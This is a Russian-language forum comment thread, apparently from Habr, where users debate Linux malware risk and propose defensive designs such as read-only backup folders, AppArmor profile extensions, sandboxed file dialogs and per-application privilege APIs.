                                                                      Кстати, если говорить о моей системе (да и о большинстве домашних убунт), но наибольшая опасность не в разрушении домашней директории (они у меня большая и всегда имеется резервная копия), а в порче файлов на примонтированные разделы. Они доступны для записи пользователю. Если это FAT или NTFS — то совсем беда. В случае с ext3 использую такой вариант. Есть директория со статическими файлами. Её содержимое вручную из-под рута делается незаписываемым. Там же хранятся и бэкапы. Такое положение вещей позволяет мне спать относительно спокойно. Запущенный из-под пользователя зловред не сможет много убить. Критично важные вещи, разумеется, хранятся также в ещё одном месте.

                                                                        0
                                                                        Парсер лох, исправил http в команде.
                                                                          0
                                                                          Придумал как автоматизировать процесс обезопасивания файлов на примонтированных разделах kartz.ru/2011/02/06/readonly/
                                                                  0
                                                                    0
                                                                    Всё это конечно круто, но есть слишком много но. Если заняться данным вопросом коллективно и желательно не только рунетом, уверен можно будет найти более лаконичное решение\предложение, а то и вовсе допилить AppArmor например. Ибо городить очередной костыль — не кошерно.
                                                                      +1
                                                                      Ибо городить очередной костыль — не кошерно.


                                                                      P.S. мы же не хотим ещё один большой набор костылей на костылях как у не без известного продукта одной большой компании.
                                                                        0
                                                                        >а то и вовсе допилить AppArmor например.
                                                                        А я и пишу, что его неплохо бы доработать…
                                                                        +8
                                                                        Не буду комментировать всю статью, так, несколько комментариев:
                                                                        * фразе «Linux непопулярен, поэтому под него нет вирусов. Когда будет достаточно популярен, сразу появятся» уже ОЧЕНЬ много лет; все, вспоминающие её, забывают о том, что сейчас пользователей и устройств, использующих Linux, многократно больше, чем их было у Windows, когда под неё уже существовали сотни и тысячи вирусов; по обрывкам сведений в сети, пользователей десятки миллионов, устройств боюсь представить сколько, думаю, сотни миллионов смело можно указывать. Так что это, скорее, не сильно честный приём

                                                                        Причины же достаточной надежности/защищенности Linux/Unix-like систем, на мой взгляд, весьма просты:
                                                                        * очень простая, полностью открытая, прозрачная архитектура (что является и причиной появления некоторого количества уязвимостей); Linux [был] ОЧЕНЬ простым и понятным, здесь никогда не было реестров, привилегий типа system, каких-то недокументированных функций, скрытых загрузок, интеграцией всего и со всем, скрытых от пользователя каких-то неведомых программ, слушающих порты и т.д. и т.п. UNIX всегда был классической реализацией KISS-принципа. Грубо говоря, это просто набор скриптов и «костылей», которые запускаются в определенной последовательности и вы можете ПОЛНОСТЬЮ контролировать весь этот процесс от А до Я

                                                                        * изначально правильная (для того времени) концепция системы, которую соблюдали ВСЕ производители ПО; не было такого ПО, которое бы требовало работу от root-а (кроме отдельных случаев коммерческого bloatware, зачастую писанного мало что понимающими в UNIX программистами или вовсе портированного с других платформ ПО; некоторые монстры до сих пор такие, к сожалению). Соответственно, большинство всегда работало от непривелигированного пользователя, что практически исключало глобальные поломки, хотя, к сожалению, все равно давало возможность из вредности уничтожить все данные пользователя, а они, как верно замечено, и есть самое важное из того, что есть на компьютере

                                                                        * комментарий к предыдущему пункту: а теперь вспомните всё ПО под Windows, которое ТРЕБОВАЛО привилений администратора для работы и мучительные, долгие годы, пока всё это наконец не заработало под пользователем; однако, традиция осталась, ПО такого еще хватает, пользователи привыкли и им так удобнее, это «удобство» нерадивые установщики винды передают из поколения в поколение и т.д.

                                                                        P.S. От себя замечу, что я хоть и использую Linux в жизни и на работе уже лет так 14, современные дистрибутивы, напичканные в нарушении принципа, сформулированного в книге Эви Немет — «Удобство всегда обратно пропорционально надежности/безопасности», всяческими регулярно меняющимися службами типа udev/d-bus/hal/и т.е., для меня являются тёмным лесом. Раньше диагностировать проблему было минутным делом, сейчас эти вроде бы облегчающие жизнь сервисы, в погоне за Windows/MacOs, на самом деле создают сложную для понимания, крайне нестабильную и ненадежную систему. И вот тут уже вполне вероятны вирусы, трояны и вообще всё, что угодно.
                                                                          +2
                                                                          > сейчас пользователей и устройств, использующих Linux, многократно больше, чем их было у Windows, когда под неё уже существовали сотни и тысячи вирусов

                                                                          Дело не в количестве, а в доле. То есть соотношении затрат на разработку вируса к возможному эффекту (скажем, числу машин в ботнете).

                                                                          А так да, погоня за виндой это зря.
                                                                            +1
                                                                            Вот ваше P.S. сводит на нет первую же причину.
                                                                            Нагромождение служб, подсистем и сервисов становится всё более хитрожопым. И разобраться в них становится всё сложнее. Темболее что они меняются раз в полтора года.

                                                                            У меня на одной (из 10) системе cron без hald не работает. Каким местом это понять?
                                                                              0
                                                                              А бабушка сисадмина столкнётся с танцами nepomuk, akonadi, pulseaudio, и прочего зоопарка.
                                                                              +1
                                                                              hald — да, странная штучка, так от неё и уходят. Фактически, лишний слой над udev

                                                                              А сам udev — вполне определённая штука, ничего такого подозрительного. Вместо создания файлов в /dev руками создаёт их по событиям от ядра. Совершенно нормальная автоматизация (для чего компьютеры придумали) — зачем нужно заставлять админа делать что-то руками, если это стандартная рутинная операция?
                                                                              0
                                                                              А мне очень нравится идея гугла, которую он реализовал в Android — каждое приложение запускается в отдельной песочнице, виртуальной машине Dalvik.
                                                                              При этом вся надстройка гугла над ядром линукса, как я понял, может работать в том числе и под ядром BSD. Разве нет? Ведь надстройке все равно над чем она. И приложения пользователя это могут даже не ощутить, т.к. прослойка над ядром останется той же и Dalvik. Маневров для нарушения безопасности при такой структуре меньше.
                                                                                0
                                                                                > При этом вся надстройка гугла над ядром линукса, как я понял, может работать в том числе и под ядром BSD. Разве нет? Ведь надстройке все равно над чем она. И приложения пользователя это могут даже не ощутить, т.к. прослойка над ядром останется той же и Dalvik. Маневров для нарушения безопасности при такой структуре меньше.
                                                                                Так и тот же Debian есть на ядре FreeBSD.
                                                                                  0
                                                                                  Да, но там нет песочницы для приложений, которая была бы одна, как для Linux основы, так и для BSD основы. А так, придется пересобирать пакеты.
                                                                                    0
                                                                                    Есть вот такой концепт: qubes-os.org/Architecture.html
                                                                                      0
                                                                                      Да, потенциал защиты у такой концепции неплохой. Но вот самой массовой песочницей, по воле случая и гугла, сейчас все-таки стала Dalvik на Android :)
                                                                                        0
                                                                                        Они, к слову, сейчас могут сами себя победить в этом соревновании с помощью Chrome OS.
                                                                                      0
                                                                                      Ну и, соответственно, он может быть реализован на базе другого дистрибутива, и, вероятно, ядра (во втором случае скорее всего потребуется использовать другую технологию виртуализации).
                                                                                  –1
                                                                                  Вредоносное ПО на Linux. Дожились. Я еще помню так называемые «соревнования» по написанию вирусов на Linux, а теперь это становится угрозой.
                                                                                    0
                                                                                    Не хватает возможности создания таких профилей «на лету», без прав суперпользователя.
                                                                                    Вот тут я бы с вами не согласился, ведь если создание (а значит и изменение) политик для приложения происходит с правами текущей учетной записи, то что мешает проникшему через уязвимость зловреду изменить эти политики?
                                                                                      0
                                                                                      В тексте есть ответ на этот вопрос.
                                                                                      1. Приложение может само себе урезать права без возможности вернуть обратно.
                                                                                      Если через уязвимость приложение будет взломано, то поднять права уже будет невозможно.

                                                                                      2. Приложение может быть запущено другим приложением, при запуске к приложению применится профиль с урезанными правами.
                                                                                      Ни родительский процесс, ни дочерний не смогут поднять права, т.е. опять же только одностороннее изменение, только в сторону уменьшения и только один раз.

                                                                                      3. Один процесс может изменять профиль привилегий другого процесса, в том числе и повышать привилегии, т.е. разрешать то что было запрещено. Список программ, которые могут так делать четко ограничен — это диалоги открытия/сохранения файлов (возможно добавятся еще какие-то программы), список может править только root, хранится он где-нибудь в /etc/apparmor/trusted_apps и не доступен ни на чтение ни на запись никому кроме root'а. Сами привилегированные приложения (для примера пусть это будут gtk-open-dialog и gtk-save-dialog) предельно просты, там просто нечего ломать, кода в них минимум.
                                                                                      Задачи такой программы:
                                                                                      — показать пользователю диалог
                                                                                      — передать приложению имя выбранного файла
                                                                                      — внести изменения в профиль приложения, добавив туда разрешение читать или писать выбранный файл
                                                                                      Сама такая программа (диалог) может быть огорожена своим профилем вообще от всего. Диалогу не надо ничего писать, не надо ничего читать, надо только получать содержимое директорий. Ломать там нечего, а если есть, то сделать все равно ничего не получится, т.к. сам диалог ограничен еще больше чем приложение вызвавшее его.
                                                                                      0
                                                                                      Интерфейс создания профиля безопасности приложения из самого приложения

                                                                                      Нет смысла. Если приложение установлено, значит пользователь его рано или поздно запустит (количество «незапущенных» приложений досттаточно мало), следовательно, все разрешения для приложений будут в системе присутствовать. Тогда их лучше сформировать заранее (вместе с установкой) и запускать приложение уже с нужными правами. Вы ведь понимаете разницу между «запустить с нужными правами» и «запустить с правами по умолчанию и запросить права»?

                                                                                      Интерфейс для запуска приложения с указанным профилем

                                                                                      То есть я могу запростить для нового процесса профиль «покруче»? Если да — то это плохо, если нет — то и сейчас этого нельзя сделать. Или Ваше отличие только в том чтобы урезать ещё сильнее?

                                                                                      Возможность назначить приложению привилегии для редактирования профилей других приложения «на лету», т.е. изменения уже примененных профилей

                                                                                      Мухи отдельно, котлеты — отдельно. Зачем приложениям редактировать чьи-то профили? Пусть этим занимаются системные утилиты/приложения.

                                                                                      Шаблоны профилей, изменения в формате исполняемых файлов, возможно изменение пакетов

                                                                                      Мысль хорошая, но в Windows это не очень-то помогает (я про «предупредить пользователя о потенциальной опасности). Юзер вообще самая не доверенная часть системы :)
                                                                                        +4
                                                                                        Такое чувство, что автор переносит на линукс свой опыт работы в виндовс, где без антивируса и фаервола трудно вздохнуть.

                                                                                        Ладно, пойдем по пунктам
                                                                                        1. Перекладывать безопасность на плечи разработчиков софта — занятие абсолютно бесполезное. Помните принцип «релизь чаще, релизь раньше»? Им руководствуется подавляющее большинство разработчиков, ничего из этого не выйдет.

                                                                                        2. ЗоопаркРазнообразие дистрибутивов и конфигураций все-таки играет и будет играть важную роль в безопасности, несмотря на уверения автора. Сложность использования уязвимости увеличивается пропорционально количеству дистрибутивов и их вариаций, соответственно, уменьшается отдача и итоговая прибыль. Это все составляет цену взлома и так просто уменьшить ее не получится.

                                                                                        3. Даже если Когда линукс займет подавляющую часть рынка и вирусописатели обратят свои взоры на него, усилить безопасность среднего дистрибутива будет достаточно тривиально, для этого хватит как древних средств (ulimit, chroot, noexec), так и более современных (acl, xattrs, selinux/и аналоги, виртуализация, в конце концов). И создать эту безопасность будет на порядок дешевле, чем обойти ее (п. 2). Закон меча и щита тут не сработает, так как небольшое улучшение в безопасности даст огромную фору перед вирусописателями.

                                                                                          +1
                                                                                          Вообще любые вопросы должны отсутствовать. Здесь нужно поступать в лучших традициях Linux — никаких сообщений, неправильные приложения просто не работают. Почему не работает? Изволь сам залезть в логи и разобраться. Не можешь/не хочешь? Значит, некомпетентен, не лезь и не запускай такое приложение — всё равно ты не сможешь с ним справиться.

                                                                                          В этом смысле управление Ubuntu из консоли близко к идеалу — если запустить команду без sudo, она либо выведет пустой экран в ответ, либо скажет «нет прав». Никаких вопросов типа «эта команда требует дополнительных привилегий, вы хотите их предоставить?» нет и не нужно.
                                                                                            0
                                                                                            >Интересно, а для Windows уже есть что-то подобное?
                                                                                            Да, под Windows есть что-то подобное, правда, немного иначе сделанное архитектурно. DefenseWall называется. Есть ещё GeSWall, но там используется «перенаправления» ака виртуализация, а у вас описана система на предустановленных правилах.
                                                                                              0
                                                                                              Конкретно эта технология в windows называется MIC, но я не представляю, как её настраивать.
                                                                                              +1
                                                                                              То что я тут описываю — дополнения к существующему AppArmor.

                                                                                              Кстати, почему именно AppArmor? В TOMOYO Linux, например, есть некие движения в сторону настраиваемости (собственно, там нет предустановленных правил) и изменения политики от непривилегированного юзера.
                                                                                                0
                                                                                                Есть ещё идея совсем запретить приложению писать/читать любые файлы. Это можно будет сделать только через API, сомвещённое с диалоговыми окнами открытия/сохранения. Можно ещё создать API для чтения/сохранения своих конфигов без доступа к чужим. Главное, чтобы при этом внезапно windows не получился. )))
                                                                                                  0
                                                                                                  Отличная тема! У меня тоже есть какие-то идеи.

                                                                                                  Идея правильная — любое ПО должно работать с минимальными привелегиями, а вот реализации — вроде SELinux/AppArmor глупые и неправильные. Ибо мне, как пользователю больше делать нечего, как ковыряться в 1000 конфигов для моих 1000 приложений. И править 1000 конфигов при переносе их к другому пользователю. Это уродливый, неуклюжий костыль. Нынешний Линукс на роль безопасной ОС не годится абсолютно.

                                                                                                  Нужно поменять интерфейс взаимодействия приложения с ядром, не так как сейчас, что приложение может сделать open() на любом файле (по крайней мере с uid=0 это получится), и должно само угадывать, где в вашей системе хранятся логи/настройки/прочее, а сделать специальное API для доступа к логам/настройкам/пользовательским данным, вроде

                                                                                                  openFile(File::PRIVATE_CONFIG, 'config1.cfg'), openFile(File::NEW_TEMPORARY_FILE), showOpenDialog()

                                                                                                  Система сама решит, где хранить/создавать эти файлы и как их изолировать.

                                                                                                  Сами данные разделить на виды: приватный конфиг (только приложение/библиотека имеет к нему доступ), shared configuration file, temporary file, private spool и т.д. Например, отправлять почту имеет право только подсистема mail, писать/читать логи — только подсистема syslog, и т.д. Если другая программа (например, log-viewer) хочет их прочесть — она получает у syslog разрешение на это. Ну и что касается пользовательских документов — приложение получает доступ только к явно выбранным пользователем документам. Причем ридеры/просмотрщики — только доступ по чтению.

                                                                                                  Большинство приложений, нужных «пользователю-чайнику», успешно изолируются и не требуют доступа к логам/системным файлам: редакторы/рисовалки/мессенджеры/игры. Если игре надо установить какой-то навороченный видеодрайвер — она опять-же, не делает это сама а просит систему (которая ставит драйвера только из подписанного официального репозитория с возможностью отката при поломке). Прописаться в автозапуск/крон без явного согласия пользователя тоже нельзя.

                                                                                                  Старые программы/wine-приложения получают каждое отдельную полноценную файловую систему с /bin, /usr, /var, /tmp пустым /home и т.д, и файлы пользователя как-то попадают/забираются из этой системы с его явного согласия.

                                                                                                  Приложения, требующие расширенных прав (доступ к чужому конфигу, сети на нестандартных портах, чтение оглавления каталога, и т.д) должны явно получать разрешение на эти привилегии при первом запуске (установка программ — устаревший процесс, которого в будущих ОС не будет). Приложение, требующее расширенных прав, должно быть подписано ключом репозитория ОС (или юзер на свой страх и риск из командной строки дает ему эти привилегии).

                                                                                                  Привилегии на изменение базовых компонентов системы вообще не должны ни под каким предлогом, даже ради спасения планеты. То есть система должны быть абсолютно несокрушимой, и в случае поломки восстанавливаться нажатием аппаратной кнопки (а сервисы по ремонту и лечению от вирусов могут благополучно закрываться, они больше не нужны).

                                                                                                  Когда модель безопасности Unix (в основе которой лежит разделение привилегий по uid) создавалась, пользователь четко понимал что он делает — ls, rm, и так далее. Разделения на уровне «защитить пользователя от другого пользователя» было достаточно. Сейчас программы намного сложнее, их скачивают из интернета, и что они делают, никто не знает (без анализа бинарного кода, который может быть обфусцирован или зашифрован, например скайп). Потому разделять привилегии надо не на уровне uid, а на уровне отдельных программ/наборов данных. Существующая система уже не подходит.
                                                                                                    0
                                                                                                    1. Про минимальные привилегии и создание нового API я написал комментарием выше.
                                                                                                    2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.
                                                                                                    3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.

                                                                                                    Ещё возникла идея. Если программе надо читать файл, но нельзя допустить, чтоб она его писала — подсовываем ей хардлинк с ограниченными правами. Другим программам, которым можно писать этот файл, подсовываем хардлинк с более широкими правами.
                                                                                                      0
                                                                                                      > Ещё возникла идея. Если программе надо читать файл, но нельзя допустить, чтоб она его писала — подсовываем ей хардлинк с ограниченными правами.

                                                                                                      Ох, вот вы опять пытаетесь все решить прикручиванием костылей к существующей системе. Надо вообще закрыть вызовы типа open(), и ввести новый API.

                                                                                                      > 2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.

                                                                                                      Зачем мне, как пользователю, тратить свое время на установку? Мне это неинтересно. Я имею в виду, конечно десктопные приложения, на сервере штуки вроде apt-get install работают замечательно.

                                                                                                      > 3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.

                                                                                                      То, что Линукс исторически на это не рассчитан. Такой режим можно оставить только для совместимости со старым ПО, выделять каждому при запуске нового пользователя и отдельную виртуальную файловую систему. Опять же, возникает куча проблем, как дать этой программе ограниченный доступ к файлам и настройкам пользователя.

                                                                                                    0
                                                                                                    Жил некогда Чжу, который учился убивать драконов. И отдал все, что имел, чтобы овладеть этим искусством. Через три года он достиг мастерства, но, увы, ему так и не представился случай проявить свое умение (Чжуан Цзы).
                                                                                                      0
                                                                                                      Стоит обратить внимание на RBAC. Правда это для пользователей, но идею можно оттуда взять.
                                                                                                        0
                                                                                                        08.02.2011 19:43 Атака на Linux-системы через запуск кода при вставке USB-накопителя
                                                                                                        www.opennet.ru/opennews/art.shtml?num=29532
                                                                                                          0
                                                                                                          Спасибо за ссылку!
                                                                                                          Не я один заметил проблему.
                                                                                                            0
                                                                                                            Уязвимость закрыта больше месяца назад.

                                                                                                          Only users with full accounts can post comments. Log in, please.